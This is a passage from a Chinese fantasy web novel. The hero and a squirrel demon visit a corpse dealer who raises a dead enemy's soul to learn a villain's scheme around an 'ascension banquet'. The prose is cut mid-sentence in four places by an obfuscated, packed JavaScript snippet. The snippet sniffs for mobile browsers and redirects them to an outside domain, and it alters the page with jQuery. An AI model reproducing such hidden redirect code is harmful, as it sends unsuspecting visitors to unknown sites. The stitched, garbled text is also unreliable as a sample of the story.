老汉嘶哑着嗓音道:“你要买尸?要多少?喂妖还是炼药?” “买尸?”翘枝在亦如空的肩膀上缩了缩身体,两只小爪抓起亦如空的头发,试图挡住自己,压低嗓子惊骇道,“人类都这般骇人吗?” 亦如空虽觉得奇怪,但语气倒是波澜不惊:“我不买尸,我想买双鞋。” “买鞋?”那老汉苍老的脸皮上显出一丝惊讶,凹陷混浊的双眼从亦如空的脸看向他的脚,“你竟是赤脚走到我这里来的?” 亦如空默认。 “哼,你可看清我牌匾上的字了?若不认字,我就跟你讲一遍,我这里只卖尸体,不卖鞋,你走吧。” 老汉说着,便要杵着拐杖转身,准备重新没入黑暗中。 亦如空叫住他:“我看见了,也认字,但我想着,既然这里有死人,那死人活着时也要走路,也需穿鞋,你这里自然是不缺鞋卖的。” 老汉闻言,又将身体转了回来,枯树皮般的老脸上突然现出一个笑容,这一笑,一脸沟壑瞬间挤成乱麻,更叫人目不忍视。 那诡异的笑脸,翘枝看都不敢看,亦如空却只是微笑着,面对面直视,眼皮都不眨一下。 “有意思,年轻人,你真要穿死人的靴子?不怕晦气?” 亦如空面不改色:“你卖尸,有人买尸,你们既然能做这样的买卖,又怎么会觉得晦气?” “那可不一样,人尸是饲料,是药材,用过便消,但死人的东西结着怨气尸毒,最好能不碰就不碰,更遑论贴身穿着,我活了这么久,见过死人东西引发的怪事,数不胜数,你确定不怕?” “我只怕靴子不合脚。” “哈哈哈哈……咳咳……”老汉大笑起来,引起一阵咳嗽,他胸腔漏风似的咳了一阵,才继续道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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亦如空淡然道:“我走到此地,迷了路,靴子也搞丢了,买鞋只是次要,我原意是想找个好心人为我指指路,我怕去的晚了,升仙资格轮不到我。” 老汉露出个古怪的表情:“你究竟是什么人?” 亦如空不答话,只抬手一晃,昏暗中,忘尘椎的金光一闪而过,那锐利灵宝破开陈腐的空气,像条灵蛇一般伸直,又飞快地重新绕回亦如空袖中。 老汉的眼睛霎时瞪大。 亦如空看在眼里,淡淡道:“看来你也认识这东西。” 老汉又连声咳嗽起来:“原来……原来是……咳咳……既然是客人,那老朽自然要……咳咳咳……” 老汉好不容易止住咳声,枯手抚了抚胸口,道:“客人,跟我来吧,这盛宴如何去,我细细为你讲明。” 老汉转身向着黑暗中走去,示意亦如空跟上。 翘枝犹豫道:“我们真的要进去吗?” 亦如空道:“你不是想成仙么?我带你见识。” 他说着便往里走去,翘枝只能跟上,扭头小心翼翼看那些棺材尸首,眼一花,似乎看见无数黑线在周围蠕动。 翘枝忙揉了揉眼睛,再去看时,又一切如常。 5. 升仙盛宴路难寻 穿过满是棺材与死尸的前堂,后头是个露天的院子,院墙里外都长满了树,看起来从未修整过,顶上树冠枝桠竞相遮掩,以至天光晦暗。 一根墨染的麻绳从前堂穿来,穿过沿途树梢,隔几步远,便系有一个铃铛,如此绕满了整个后院,一直延伸到几间厢房中。 老汉带着亦如空穿过树丛中的石板路,一路走到东侧的厢房。 路上亦如空已知晓,这老汉正是先前海滩那群人口中的冥老,他在此独自经营这尸坊,已经数十载。 冥老从怀中摸出钥匙,颤颤巍巍去开那门锁,这个过程耗去不少时间,翘枝都等得焦躁起来,亦如空仍是那副老神在在的样子,仿佛一切都无所谓。 房门终于打开,光线同样昏暗,屋内依然是浓郁的香料气味,房中除了一方不大的卧榻,全是粗糙的木架子,上面挂满了花花绿绿的衣裳,靴子在墙角堆成了山,乍一看,好似戏班子的后台。 亦如空并不进门,在门口看过,道:“我料想得不错,你这里再多开个成衣铺或是估衣行,也不成问题。” 冥老嘿嘿一笑:“这些衣服都是死人衣,沾着晦气,怎么好给客人穿?” 他说着,走到榻边,拐杖勾出个木箱,箱子打开,里面果然有几双新靴,还有几件叠得整齐的崭新布衣。 “既然晦气,那何必留着?还特意挂在房中。”亦如空接过冥老递来的靴子,随口问了一句。 “晦气也有晦气的作用……老朽独自一人在此地,寂寞得很,有这些陪着我,夜里不愁没人说话。” 冥老说完,又古怪地笑起来。 翘枝打个寒噤,紧紧贴着亦如空,拉拉他的袍子,催促道:“鞋子也有了,我们能走了吗?” 冥老听见,开口道:“你们要去升仙盛宴,那何必急着赶路,三日之后的春分,才是盛宴举行的日子,而且……” 他拖长了声音,像是等着人来问,亦如空明白,于是就问:“而且什么?” “而且,纵使你日行千里,也是无用,这盛宴的所在地,可不是那么容易接近的,需要一些……窍门。” “听你的意思,想必你知道这窍门。” “我的确是知道,不过——” 冥老再次拖长了声音,眼珠一转,幽幽道:“你能携秘宝来此,又知道升仙宴,必是有门中身居高位者邀请,为何没有派人迎接?竟让你迷失于此,这不是门人作风。” 亦如空只道:“我行事随心所欲,没有同任何人约定时间,我也不想让更多人知晓我的行踪。” 冥老的目光在亦如空的眼睛和手腕间来回,亦如空淡然平视,目光沉静如常。 冥老沉吟片刻后,低沉道:“这宝物做不得假,我信你,你既然先找到我,那就是缘分,老夫愿意为你指一条路,东淤洲集众岛而得名,这震岛是最外围的一座,你到了我这处,再往北十几里,便有村落和门中的分部,你带着这样东西,必然引人瞩目,随便找个门中弟子,便能带你去找到引路人,但那样的话,我可不能保证,你能全身而退。” “这是何意。” “咳咳咳……应空门近百年来才有每十年一次升仙宴的传统,历来都只能由门中高位者参加,唯独这次,邀请了外来客,虽然说是用秘宝换升仙资格,但那资格何其稀缺,门中人已抢破了头,如何会留给外人,只怕到时落个两头空……” “……” 亦如空已无心关注他介绍的升仙宴传统,因为这个门派的名字,实在很难不吸引他全部的注意力。 “等等!什么门?”这话却是松鼠问出来的,亦如空见他激动,不由得垂下目光看过去。 冥老一愣:“你们总不至于连这也不知……” 亦如空打断道:“应空门,我想,正是由上古神兽应空的名字而来,门中人也都是应空的信徒,对吗?” 冥老颔首:“不错。” 亦如空淡淡一笑,嗯,还真是毫不意外。 冥老继续道:“应空门如今虽衰落,势力比不上奉神宗,但两派最初创立之时,实力和本意宗旨是一致的,至于分歧对立,那都是后来的事了……” 小松鼠在一旁辞色激动:“奉神宗那些恶徒,我曾见过几个,行的都是不轨之事,我听说应空门才是千百年来始终信奉应空的正统,而且讲究有教无类,只要诚心信奉,皆可入门中潜心修炼,若是有机会,我真想加入!” 冥老笑呵呵道:“你这小妖……咳咳……有些意思,你既有此意愿,老夫可保举你,加入应空门,让你修炼有度,必能进境飞快。” 方才翘枝还对这冥老惧怕非常,此刻却莫名其妙融洽起来,听着他们一口一句应空如何如何,饶是亦如空再无所谓,也不免感觉别扭。 于是他拾起先前的话头,道:“若是前一条路行不通,那你的方法又是如何?” 冥老道:“说来话长,但我确实知道一个不用通过门中长老,也可进入升仙宴的法子。” 亦如空想了想,先问了另一个问题:“那升仙宴,你可去过?” 冥老苦笑道:“我若是能去,何苦还在此地,守着这些死人度日。” “那你又怎么能保证自己有进入的法子?” “老夫虽知道方法,但无法实施,你却不一样。”冥老说着,又看向亦如空的手腕,老眼中闪着幽光,“你一定能做到。” 亦如空看着他:“你这样帮我,所求为何?” “客人说话敞亮,老夫实在喜欢,我确实有所求,放心,那件事并不难做,也不会损害你任何,我只想让你……” “叮铃铃!——” 冥老话音未落,院中所有铃铛突然齐震起来,急促地响成一片。 亦如空厌烦噪声,眉心不由微蹙。 冥老一副习以为常的样子,对亦如空道:“这是前面来人了,客人在此稍候,老夫得去前堂一趟。” 亦如空道:“请便。” 冥老将门重新锁好,指了指院中落满树叶的石桌石凳,干笑道:“怠慢了,我这房中物件不便沾染生人气,就辛苦客人,在这院中稍等片刻。” 说完,他便拄着拐杖,沿着石板路,步伐缓慢地朝着前堂去了。 翘枝看着那老态龙钟的背影,道:“难不成是来了生意?我倒真有点好奇,他们这生意是怎么做的。” 亦如空道:“你从未离开南魍洲,怎么会知道外面的事?” 翘枝道:“我们南魍洲天高海远的,看起来远离人间,但总有能往返海外者嘛……我认识一只鸟,她夏日往北冬日南返,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而抬尸的,穿着与昨天夜里海滩上那群人相同,正是应空门中人。 “冥老,怎么出来得这般慢?”一直在一旁指挥的男人毫不客气道。 冥老陪着笑脸:“人老了,腿脚实在不便。” 男人哼一声,看起来有些不满,却也不再多说。 见抬进堂中的尸首多达十数,冥老忍不住问道:“林堂主,这是出了什么事?怎么这么多?” 林堂主还是那毫不客气的冷硬语气:“问那么多做什么,你记着按老规矩处理便是。” 林堂主看上去一刻都不想在此多留,待所有尸体都卸下,他立刻翻身上马,指挥众人驾着马车沿来路返回。 待马车驶远,似乎有风穿林而过,树林开始沙沙响动,翘枝努力睁大眼睛,想见识一下树是怎么挪动位置的,却压根看不清楚,他只觉得眼前影影绰绰,一阵眼花缭乱后,树林已恢复原样,又变成一副林叶满地,从未有人踏足的样子。 翘枝揉着眼睛:“到底怎么回事,一眨眼就……” 亦如空道:“奇门之术加上幻象所成,你自然看不分明。” 正说着,却听见冥老的声音从下方传来。 那老得诡异的人正仰头看着他们,佝偻的脊背让他抬头的动作显得有些艰难,整个人看上去像是一截弯曲的枯树桩。 “客人,你怎么在树上呢,下来吧,老夫方才的话,还未说完呢。” 6. 幽幽静夜听尸言 “我只要你帮我带一样‘礼物’,献给筵席上的长老们,明日,我会将那样东西交给你,同时,我会告诉你前往升仙宴的方法。” 冥老苍老的声音犹在耳边。 那老头说完这些,便进了停放尸首的前堂侧间,关起门来,自顾自料理那些尸体,将一人一鼠晾在一旁。 不过是等上一夜,亦如空无所谓,他不缺等待的时间,只缺一条明路。 尤其是得知那升仙宴上,还有另一件同忘尘椎一般的法器,那这一趟,他更是非去不可。 至于冥老的目的,和他话中的漏洞,亦如空懒得去琢磨。 难不成那筵席上还真有神仙,能奈他如何? 是夜,亦如空仍躺在树上休憩。 在他身下,便是那个停放着许多尸首的古怪院落。 无论是谁,身处在这种地方,恐怕都会忧心鬼怪,是万万睡不好觉的,好在亦如空从未见过鬼,也从不怕鬼。 在这里睡觉,对他而言至少还有一个好处,那就是足够安静,至少这些死人不会再发出声音烦扰他。 翘枝跟在他身边,也捡个枝桠趴着。以往松鼠学着人类,早已不在树上睡觉,但自从跟了亦如空,他好像又过上了栖息枝头的生活。 而此刻,这只松鼠成了噪声的唯一来源。 “师父?师父!你睡着了吗?……那老头说是要让你帮忙带一样东西去赴宴,为什么不直接把东西给你,非要留我们在此地住上一夜?他不会是在骗人吧,实则另有所图。” “他骗我,对他没有任何好处。”亦如空惫懒道。 “也是,我们两手空空,既无钱财,师父你又有神器护体,他一个糟老头,能奈我们何?可是他做的这生意,实在是不吉利,你看白天那些人,避他如瘟神,跑得飞快,这地方想必风水不好,也不知道我们在这里待上一天一夜之后,会不会倒霉。” 翘枝嗓音稚嫩,却老气横秋地叹息道:“我从去年入冬就开始走霉运,但愿应空神保佑,保佑我不要再遇上什么倒霉事了。 亦如空本不想接话,只希望这松鼠不要再喋喋不休,但听了这句祈祷,他还是没忍住接道:“求他又有何用,世人的祝祷,他或许根本听不到。” 翘枝急道:“可不能这么说!神明神通广大,怎么会听不到呢?最多听见了却不想理我。” 后半句倒是没错,亦如空心道。 “若是他什么都能听见,却总不爱搭理人,左右无用,那又何苦拜他这神。” 翘枝道:“天底下那么多人、那么多妖,每天想必有无数祈祷,神明哪里顾得过来,再说,有些人许的愿望也委实不是什么正经愿望,应空估计听了也烦得不行呢,我想着神明听取世人的心愿,就像大海里舀水,哪天舀到我的这一瓢愿望,我就知足了!” 小松鼠天真质拙的想法,仔细听来倒颇具几分哲理。 只是亦如空实在无法想象自己烦恼地捂着耳朵,趴在大海边舀水的情景。 不知道为什么,亦如空总是对这小松鼠格外耐心,或许,是因为这小东西身上没有丝毫谎言的气味。 他的多言,和树木的无言,是同一种味道,真实的味道。 亦如空不讨厌这样的味道。 “也不知,世人这份信仰是何时开始的。” 亦如空声音低沉,仿若自言自语。 翘枝一愣:“那就不知道了,从很早很早以前吧?我只知道,世人都知应空神,他开混沌,辟四海五洲,人族妖族皆传了千年,不过跟人不一样,妖族之中,倒是有不少憎恨应空的……” “哦?”恨?这种实实在在的、强烈的情绪,倒是比那虚无缥缈的信仰更让亦如空觉得有意思,“为何会恨?” “师父你到底是在藏哪处秘地修炼,竟对应空的事这般不了解……传说的故事里,应空荡清了天地间的污浊,却也杀死了很多大妖,天地清明之后,人族兴盛长安,妖族却再难有所修炼作为。” 翘枝顿了顿,继续道:“传说是因为应空身碎之前,用通身的修为给这世间加上了某种禁制,我虽不知是什么,但却知道,千年间,世上确实没有妖族再修成大能,妖族被人族压制,有些妖怪便会对应空神生出怨恨。” 这些传说中的谬误亦如空已无心深究,他想了想,问翘枝道:“你也是妖,为何不恨?你想修炼成仙,若是传说为真,你岂不是也被压制,难有进境。” 翘枝笑笑:“师父,我怎么会恨神明呢?若不是应空,我连这二百年的寿元也不会有,我这样的小角色,如何去跟那些大妖怪比,至于成仙嘛,只是我的另一瓢愿望,娘亲指望我成仙,我便念叨着,成不了也就算了呗。” 没有执念,便不会恨。 亦如空久久没有说话。 翘枝困了,在枝桠上换个姿势,迷迷糊糊道:“师父,我还有一个问题,老头给咱们留了卧房,我们为何还要睡在树上?” 亦如空没有回答。 他向上看,树枝刺穿夜幕,破漏之处泄出几点星光。 纵使在夜里,也是有微光的,在不见光的地底待了太久,他已经快要忘记这样的夜空。 哪怕在这样古怪的地方,他依然觉得,这是个不错的夜晚,宁静,空茫。 亦如空望着天幕,想起自己的虚弥之境。 那里的夜晚同这里不一样,那空蒙之境里总是有飞舞的萤火,石头块会蹦蹦跳跳四处滚动,像嘈杂的甲虫,树木伸展手臂,会变成他最温暖的卧榻,游走的藤蔓总是起舞,开心时,会把花朵掷在他的身上。 那是一方乐土,是他尘封的执念。 他又想自己接下来的路途,前路是一张卷起的绢帛,好似抽出一线,又好似依旧全然未知。 一旁的翘枝迟迟没有得到回答,渐渐地没了声音,想是睡着了。 亦如空沉浸在辽远的思绪中,正在这时,他听见了一些声音——微弱的,奇异的声音。 他侧耳静听,发现响声是从那间挂满衣裳的东厢房传出的。 他轻盈利落地翻身而起,衣袍带风,毫无声息地落在东厢房的屋顶。 瓦房上尽是枯叶与干透的青苔,亦如空落脚无声,轻轻俯身过去,揭开一片老瓦,朝屋内看去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白天那些尸首,按理说应该平放在屋中,此刻却全都站立着,他们垂着头围成一圈,若不是满身死气一动不动,还真以为这是一堆活人,正在向谁垂首默哀。 在这圈死人中间,是一张老旧的长木桌。 此刻,冥老正淡定地站在桌前,将手中布包摊开在桌上。 那包里原来是各式各样的工具,有尖刀,有长刺,还有弯钩,再加上一些看不出用途的奇怪铁器。 冥老将工具整齐摆好,接着背负双手,绕着木桌,挨个去看那些站立着的死尸的脸。 最后,他停在了一个人身前。 “邱老头,好久不见。”冥老说着,像跟老朋友打招呼一般,手摸进怀中,摸出一条暗红衣带来,系在那尸体的颈项上。 那“人”缓缓抬起头来,肿胀发白的嘴唇张合,已没有呼吸的喉咙里发出“嗬嗬”声。 邱…… 亦如空回想一番,有了些许印象,他记得先前在海滩时听来的只言片语,从那些人的对话中,他听过这个邱护法,恐怕正是当时在船舱中,试图用手中的忘尘椎杀死他,却反被忘尘椎穿心而过的那个人。 但是冥老此刻面对的,绝不是那个邱护法。 若说是同姓,也说不过去,因为这是个年轻人,年纪不过而立,无论怎么看,也不能被冥老这个耄耋老汉称呼为“老头”。 亦如空正觉莫名,却忽然听见那尸体开始说话。 他蠕动着浮肿的嘴唇,口中发出的,却是那位邱护法的声音。 7.诡计惊天犹未知 “我在何处?”邱护法喑哑的声音如同从地府传来。 冥老哼笑道:“你死了,姓邱的,你死了,此刻你的尸体,也不知道正漂在哪片海面上呢,又或者,已经被那海里的鱼吃了个七七八八,若不是我的捕魂衣,你还有这片刻逗留人间的机会?” 那尸体双目紧闭,本就肿胀变形的五官开始抽动扭曲,似乎想要发怒暴起,却因为身体无法动弹,最终作罢。 “死就死了,技不如人,是我该死,冥树猷,你这个苟且偷生的老匹夫,唤我来此做什么?” “莫急,我只是想看看你死透了没有,真没想到,你邱公裕无上神器在手,却还是落得这个下场,报应,报应!” 冥老连骂几声报应,畅快道:“你放心,我会好好‘超度’你的,必要叫你的阴魂受尽苦楚,再下那地狱里去。” “呵呵……当年的夺宝之仇,你竟记得这般深,莫不是每天夜里都在辗转反侧,咬牙切齿吧?想到你这些年过得这般凄惨,我死得也安心了。” 他们一人一鬼,却也不知有什么前仇旧怨,竟在此你一句我一句,互相讥讽恶心起对方来。 又是夹枪带棒几个来回,冥老才道:“邱公裕,我问你,你此番原是要拿忘尘椎去换那升仙的前程?” “是又如何?” “你当初为了这宝物,抛妻弃子,杀人全家,废了多少心计,害了多少人命,现在却又要拱手让人?” 尸体脸上显出堪称生动的表情:“你唤我至此,就为了说这些屁话?” 冥老高深道:“当然不是,我是有些好奇,我猜,你必然知道一些内情……那升仙宴上究竟是何场面?难不成答叵老儿,真的有了助人升仙的本事?” 尸体缓缓道:“你常年在应空门的地盘上,何必问我?” “那些门中弟子都是小角色,他们知道什么?哪有你这个答叵安插在奉神宗的内应知道得多?” “你怎知……呵,恐怕是答叵道行高深,你窥探不得,才把主意打到了我这个死人身上吧?” 冥老冷冷道:“是又如何,答叵废我修为,害我至此,我想找他叙叙旧,他却总是躲着,避而不见,几十年已过,我年岁已高,怕再也见他不到,你叫我如何不心急。” “见到他又如何,他可以再废你一次,何必自寻死路?” “这便不用你操心了,你只消告诉我,答叵究竟想干什么。” “我凭什么告诉你?” 冥老冷笑道:“都成了孤魂野鬼了,嘴硬什么,我还能由得了你?” 他说着,右手并起二指,竖到唇边,口中念念有词。 只见那死尸随着冥老的念咒声,肿面不断抽搐,青紫交替,眼皮豁然掀开,死鱼蒙灰的眼珠子直勾勾,几乎脱眶而出。 “……四方恶鬼,但听我言,邱姓公裕,七魄已销,三魂归我,天魂无路,地魂无归,象魂无托,无处可依,为我差遣,若敢不从,火海油煎,万刀割肉……” 冥老字字句句带着恨意和爽快,那承载着邱护法魂魄的尸体震颤不止,仿佛灵魂承受着莫大的痛苦。 冥老道:“我在这远荒山野地,终日与死人为伴,苦心经营多年,终于习得这奇门之术,驭魂之法,不让你享受个遍,如何对得起你当初对我的背叛?你若想死得安生,便老实回答我所问之事。” 折磨那鬼魂不过片刻,邱公裕便告饶道:“我说便是,左右我也死了,宝物也被夺走,告诉你又何妨!” 冥老得意道:“算你识趣,你放心,念在当初同门之谊,我好歹将你安葬,年年清明为你烧纸也不是难事,你都死了,你我之间什么仇怨不可一笔勾销呢?” 邱公裕死魂顿了一顿,只说了三个字:“是尸解。” 冥老一怔,开始似乎没听懂,而后忽然明白。 “原来如此。”冥老面露震色,悚然道,“答叵狼子野心,何其疯狂!” 邱公裕死魂幽幽道:“这一回,才是真正的‘升仙宴’,除非应空在世,答叵之计必成,届时何止东淤,但看四海五洲,何不海啸山摇?” 亦如空靠在瓦房顶上听着,捻了捻指节,淡淡一笑。 还真是不好意思,应空确实在这。 虽然不知道这个所谓的答叵究竟是谁,但眼下看来,他的计划可能实现不了了。 冥老也笑起来,道:“可惜答叵野心滔天,计划惊人,最后却毁在你手上。” 邱公裕鬼气森森道:“你说什么?” “你的忘尘椎,不是已经拱手让人了?我想,他让你放弃多年的蛰伏,离开奉神宗,恐怕是因为,这场盛宴上,你手中的法器大有作用吧?” 死魂沉默片刻,才道:“没有忘尘椎又何如,他自有别的手段,何须我劳心,不过杀人而已,只是忘尘椎杀起来快些罢了,他若不怕麻烦,拿慢刀割肉也是可行,杀他个三天三夜,血染东淤,更添壮美。” 冥老摇了摇头:“可惜,你算漏了一项。” 死魂瞪着死鱼眼:“哪一项?” “我。” “你?” “正是。” 死魂轻蔑道:“你这点恋尸招魂的怪癖,此时乘鬼之危,折磨折磨我也就罢了,在答叵面前,有什么用?” 冥老不在乎对方的讥讽,只道:“你可知今夜,我这里除了你这孤魂野鬼,还有一位客人,你说巧不巧?他手里,刚好有你弄丢的忘尘椎。” 尸体面皮霍然几个抽搐:“那个人……那个人……” 冥老悠悠道:“那个人要了你的命,没错吧?他若与我联手对付答叵,结果又是如何?” “不会的。”死魂斩钉截铁道,“他不会的,那个人,根本不像世间人,他怎会与你联手?” 冥老伸出一只枯手,抚摸着桌上的尖刀铁刺:“那个人走进我这尸坊,我的警魂铃动都未曾动过,料想是个无魂之人,带了一只胡鼠小妖,修为低到可以忽略不计,却能在他周身罩护下也不惊铃,是个年轻人样貌,但修为恐怕在你我两个老头子之上,我逼迫不了他,却不妨碍他自己愿意……” 他发现我了,亦如空看着冥老的动作,心道。他抚着袖中忘尘椎,以待应对。 果然,冥老说完,突然抬起脸来,仰面看向亦如空的方向:“年轻人,夜深了,不好好安歇,非要学窥牗小儿,偷听主人家讲话,可不是个好习惯。” 话音未落,冥老手从布包中抽出,反手一扬,一根铁刺飞出,直取亦如空面门。 屋瓦碎了一片,亦如空稳住身形,轻轻翻转手腕,忘尘椎瞬间飞出格挡,同那铁刺当空一撞,霎时火星四射,铁水四溅,昏暗中好不绚烂。 转瞬火光映在亦如空眸中,他目光微动,见那铁刺与忘尘椎一碰之下,竟被熔去大半,剩下一截黑铁,丁当坠地。 如此神器,怎能不叫人胆寒,但冥老却似乎早已料到,并未露出多少讶异之色。 他仍是仰着脸看着亦如空,老眼中闪着狂热的火焰。 一圈阴森死人中间,那张目光灼灼的老脸实在可怖,亦如空收了忘尘椎,只淡淡垂眼看着。 他微笑道:“你们大半夜在此吵架,实在扰人,我睡不着过来看看,何必动怒。” 冥老看着那张貌若神祇垂眸的脸,幽幽道:“好个人才,全然看不出,你会干出杀人夺宝、夺人所好的事。” “你说这个?”亦如空举起手腕,晃了晃那忘尘椎化成的金镯,淡淡道,“它主动选中我,缠着我不放,可不是我动的手,至于杀人……你既然能跟死人说话,那不如问问他,是不是他想杀我在先?” 邱公裕在一旁插嘴道:“既然你不想要,那你将它还给我吧。” 冥老顿时无语:“死都死了,要来干什么?给你陪葬?” 亦如空却是一笑,悠闲地靠坐在屋瓦上,手指在膝上点了点:“让我想想。” “你难道愿意?”若不是死人眼睛浑浊,此刻恐怕要放出光来。 亦如空似乎真在考虑,片刻后才斩钉截铁道:“不愿意。” “你!” “神器认主,我岂能辜负。” 若不是邱公裕已经断气,此时恐怕要被气得再死一次。 冥老大笑道:“有意思,邱公裕,你技不如人,便认栽吧,不如让我来试试他的本事。” 他立起一只手掌,指缝间皆夹着黑线,他将手竖到唇边,口中念念有词。 同一时间,林中风起,枝叶摇晃,所有铜铃齐震,风声铃声,声声震耳,屋瓦也被掀翻,土地之下传出轰鸣。 邱公裕鬼声鬼气道:“冥树猷,有点意思,这么些年没有荒废,但是你的这点招数,扛得住他手里的忘尘椎吗?” 冥老不理他,只是念咒。 邱公裕叹道:“我虽厌烦你至极,但现下更想看那梁上的人死,我若不是无能为力,倒想助你一臂之力了。” 冥老闻言,嘴角一咧:“别担心,也不是没有办法,我可以让你助我一臂之力。” 话罢,他张开十指,墨线如蛛网从掌中齐出,活虫一般,钻进一圈尸身尸体的七窍之中。 亦如空看腻了,站起身来,看看周围风起,还是那副无所谓的样子:“方才还说想同我合作,现在打打杀杀是为何?” 冥老这才道:“老夫想见识见识,你究竟配不配拿这忘尘椎!” 冥老收拢手指,几具尸体突然齐齐张嘴,和承载邱公裕死魂的尸体一起,诵起了忘尘椎的咒语。 鬼声齐齐,忘尘椎因为咒语嗡嗡震颤。亦如空轻轻抚了抚它,叹息道:“你这法术,好生诡异,它都有些怕了。” 风摇树晃,翘枝被怪象扰醒,四处张望一眼,惊慌地奔向亦如空的方向。 四周林中枯叶被旋风卷起,盘旋飞舞着,在亦如空周围形成一道风墙,飞旋的落叶尘土将他罩在其中,一件件衣裳从东厢房飞出,飞到这间屋顶盘旋,猎猎风声中,竟似有鬼哭阵阵。 那些死人衣裳纷纷被卷进风中,黑线如倾墨般涌出,似乎想将亦如空包裹其中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352337|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “师父!” 翘枝大喊,想着师父说过这是幻术,正试图穿过那风墙,爪子却被飞旋的树叶割破,登时血流不止。 翘枝赶紧缩回鼠爪,惊魂未定道:“好险,还好刚才先伸出去的不是脑袋!” 小鼠一时退缩,望着那枯叶墨线如渐渐成型的茧,将亦如空包裹得完全看不清了,却只能抓耳挠腮,不知如何是好。 亦如空脚踩屋脊,削薄峭影立在风墙之中,指腹抚过忘尘椎,低喃道:“再给我看看你的能耐。” 忘尘椎重新伸展身躯,金光盈盈,映亮亦如空的脸。 这神器虽与他有着天生的亲近,可毕竟重逢是初逢,他对它的掌控还仍是一知半解,尤待开拓。 但此刻,忘尘椎与他竟默契十足,那神器凌空调转方向,槌头朝向那附着了邱公裕死魂的尸体,离弦之箭般射去。 铮然一响,魂魄离体,尸体应声倒地,只有一声飘渺的惨呼,在风中缓缓散去。 其余尸身也纷纷倒地,控制尸体的墨线火燎般尽数缩了回去。 击散死魂后,亦如空驱动微末灵力,忘尘椎由他驱使,尖端对准冥老的胸膛。 如此情形,冥老却未见惊慌畏惧,他看了看那些歪七扭八的尸体,又看了看手上那些被燎短一截的墨线,反而笑起来。 亦如空不明白他葫芦里卖的什么药,锐器仍悬空待发,仿佛随时会钻进冥老的胸口。 “你让我不明白,”亦如空垂下眼俯视着对方,“你好像并不担心我杀死你。” 冥老没有回话,只抬手扯开衣襟,他衰老干瘪的胸膛上,竟有一个大洞,被什么东西熔去一般,那空洞里,填充着密密麻麻的黑线。 亦如空眉头微微一动。 冥老合上衣襟,道:“忘尘椎的厉害,我早些年便见识过,我早已是个半死不活之人,只是还有心愿未了,苟延残喘罢了。” 他背起手来,踱了几步,看起来还有很长一段话要说。 忘尘椎仍紧紧跟着他,亦如空动动手指,叫那神器重回腕上。 屋顶狂风在渐渐平息,翘枝不待风止,穿过坠落下来的捕魂衣和墨线,奔到亦如空身边。 亦如空将他接在手中,一个旋身,落在院中。 “死老头!亏我师父信你,你竟然想害他!”翘枝炸毛,想要冲出去咬人。 亦如空用掌心压住炸毛的小鼠,默默示意他安静。 冥老不为所动,缓缓踱进院子里,望着梢头的月亮,道:“前些日子,我沐浴月华,给自己卜了一卦,是个吉卦,大意是,不日将会有海上来客,助我破局,‘携天下最利之器,破海上血雾而来’,那天夜里,我还做了一个梦,梦见九霄之上落下一个仙人,告诉我,时机已到。” 亦如空道:“天下最利之器,是忘尘椎。” “正是,我原以为,那个人会是我的老仇家邱公裕,因为我知道,忘尘椎在他手上,却没想到,此物转眼间已经易主,今夜我知晓邱公裕确实已死,又眼见忘尘椎与你如此相契,那个人,一定是你。” 亦如空想了想:“你说那升仙宴上,还会有其他应空法身碎片所炼的神器,可是真的?” “是,至少我知道,升仙宴的主人——答叵手中,便有一件。” 亦如空点点头:“那就够了。你不妨直说,要我做什么,我想去那升仙宴,你我的交换依然作数。” 冥老道:“我已说过,我想让你帮我带一样东西进去,我现在可以告诉你,我是想让你帮我将这个,带到答叵的身边,你只需要靠近他十步以内,其他的,就不用你操心了。” 他递给亦如空一个极小的盒子,轻飘飘的,仿佛什么也没装。 翘枝好奇:“就这个?这是什么?” “你们可以打开看看。” 亦如空道:“不用了,我带上就是。” 翘枝好奇心作祟,急道:“师父,你不能真不看啊,万一是老头的诡计呢?看看吧看看吧,看看吧!” 亦如空被吵得没办法,弹开盒盖,翘枝爬上他的胳臂,探头去看。 只见那小盒子里,静静躺着一圈黑线,跟普通的缝衣线看起来差不了多少。 “啊?就这个?”翘枝摸不着头脑。 满足完松鼠的好奇心,亦如空合上盒盖,将它揣进袖中:“你说的事,我必定做到,但前提是,你要告诉我去那升仙宴的方法。” 冥老颔首:“那是自然,其实,也很简单,只需要你去取一枚玄妖的妖丹,春分当日酉时,到达震岛西岸即可,届时奉上妖丹,自有人带你登船,前往宴会所在。” 翘枝听得一愣一愣:“玄妖?妖丹?就这么短的时间,去哪里找什么玄妖妖丹!” 冥老继续道:“放心,我正好知道一只玄妖的所在。” 那张苍老的面孔上露出一种稳操胜券的慰色,翘枝忧心他另有诡计,亦如空却是无所谓,他只是想去,至于过程如何,已无所谓。 麻烦,就麻烦点吧。 8.何宅诡事怪象生 何云迢驾着马车,载着新买来的“货物”,快马加鞭往家中赶去。 他模样年轻,一身富贵装扮,但却鞋袜粘尘,面容憔悴,一副心事重重、风尘仆仆的样子。 道路两侧的密林飞速向后退去,此时天色已晚,月上中天,林中枭鸟啼鸣,有如鬼哭神嚎,何云迢有些害怕,忍不住对着身后马车上的“货物”自说自话。 